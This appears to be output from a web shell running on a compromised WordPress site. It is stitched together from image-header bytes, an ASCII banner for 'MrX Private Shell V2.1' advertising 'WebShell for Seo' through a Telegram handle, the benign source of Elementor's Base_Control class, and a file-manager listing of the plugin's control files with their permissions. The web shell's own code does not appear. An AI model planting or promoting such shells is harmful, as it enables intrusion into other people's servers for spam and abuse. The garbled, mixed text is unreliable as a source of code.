����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Elementor;
use Elementor\Core\Base\Base_Object;
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
/**
* Elementor base control.
*
* An abstract class for creating new controls in the panel.
*
* @since 1.0.0
* @abstract
*/
abstract class Base_Control extends Base_Object {
/**
* Base settings.
*
* Holds all the base settings of the control.
*
* @access private
*
* @var array
*/
private $_base_settings = [
'label' => '',
'description' => '',
'show_label' => true,
'label_block' => false,
'separator' => 'default',
];
/**
* Get features.
*
* Retrieve the list of all the available features. Currently Elementor uses only
* the `UI` feature.
*
* @since 1.5.0
* @access public
* @static
*
* @return array Features array.
*/
public static function get_features() {
return [];
}
/**
* Get control type.
*
* Retrieve the control type.
*
* @since 1.5.0
* @access public
* @abstract
*/
abstract public function get_type();
/**
* Control base constructor.
*
* Initializing the control base class.
*
* @since 1.5.0
* @access public
*/
public function __construct() {
$this->set_settings( array_merge( $this->_base_settings, $this->get_default_settings() ) );
$this->set_settings( 'features', static::get_features() );
}
/**
* Enqueue control scripts and styles.
*
* Used to register and enqueue custom scripts and styles used by the control.
*
* @since 1.5.0
* @access public
*/
public function enqueue() {}
/**
* Control content template.
*
* Used to generate the control HTML in the editor using Underscore JS
* template. The variables for the class are available using `data` JS
* object.
*
* Note that the content template is wrapped by Base_Control::print_template().
*
* @since 1.5.0
* @access public
* @abstract
*/
abstract public function content_template();
/**
* Print control template.
*
* Used to generate the control HTML in the editor using Underscore JS
* template. The variables for the class are available using `data` JS
* object.
*
* @since 1.5.0
* @access public
*/
final public function print_template() {
?>
<script type="text/html" id="tmpl-elementor-control-<?php echo esc_attr( $this->get_type() ); ?>-content">
<div class="elementor-control-content">
<?php
// TODO: This is for backwards compatibility starting from 2.9.0
// This `if` statement should be removed when the method is removed
if ( method_exists( $this, '_content_template' ) ) {
$this->_content_template();
} else {
$this->content_template();
}
?>
</div>
</script>
<?php
}
/**
* Get default control settings.
*
* Retrieve the default settings of the control. Used to return the default
* settings while initializing the control.
*
* @since 1.5.0
* @access protected
*
* @return array Control default settings.
*/
protected function get_default_settings() {
return [];
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| groups | Folder | 0755 |
|
|
| animation.php | File | 4.27 KB | 0644 |
|
| base-data.php | File | 3.1 KB | 0644 |
|
| base-icon-font.php | File | 628 B | 0644 |
|
| base-multiple.php | File | 2.03 KB | 0644 |
|
| base-ui.php | File | 516 B | 0644 |
|
| base-units.php | File | 2.23 KB | 0644 |
|
| base.php | File | 2.97 KB | 0644 |
|
| box-shadow.php | File | 3.25 KB | 0644 |
|
| button.php | File | 1.68 KB | 0644 |
|
| choose.php | File | 2.16 KB | 0644 |
|
| code.php | File | 1.79 KB | 0644 |
|
| color.php | File | 1.91 KB | 0644 |
|
| date-time.php | File | 1.84 KB | 0644 |
|
| deprecated-notice.php | File | 2.1 KB | 0644 |
|
| dimensions.php | File | 3.96 KB | 0644 |
|
| divider.php | File | 1.18 KB | 0644 |
|
| exit-animation.php | File | 2.07 KB | 0644 |
|
| font.php | File | 2.23 KB | 0644 |
|
| gallery.php | File | 3.54 KB | 0644 |
|
| heading.php | File | 1.31 KB | 0644 |
|
| hidden.php | File | 948 B | 0644 |
|
| hover-animation.php | File | 3.83 KB | 0644 |
|
| icon.php | File | 31.06 KB | 0644 |
|
| icons.php | File | 6.44 KB | 0644 |
|
| image-dimensions.php | File | 3.75 KB | 0644 |
|
| media.php | File | 7.18 KB | 0644 |
|
| number.php | File | 2.1 KB | 0644 |
|
| popover-toggle.php | File | 2.52 KB | 0644 |
|
| raw-html.php | File | 1.48 KB | 0644 |
|
| repeater.php | File | 4.33 KB | 0644 |
|
| section.php | File | 1.68 KB | 0644 |
|
| select.php | File | 2.48 KB | 0644 |
|
| select2.php | File | 2.56 KB | 0644 |
|
| slider.php | File | 3.46 KB | 0644 |
|
| structure.php | File | 2.5 KB | 0644 |
|
| switcher.php | File | 2.08 KB | 0644 |
|
| tab.php | File | 1.36 KB | 0644 |
|
| tabs.php | File | 1.28 KB | 0644 |
|
| text-shadow.php | File | 3.13 KB | 0644 |
|
| text.php | File | 2.06 KB | 0644 |
|
| textarea.php | File | 1.95 KB | 0644 |
|
| url.php | File | 4.86 KB | 0644 |
|
| wp-widget.php | File | 1.35 KB | 0644 |
|
| wysiwyg.php | File | 1.67 KB | 0644 |
|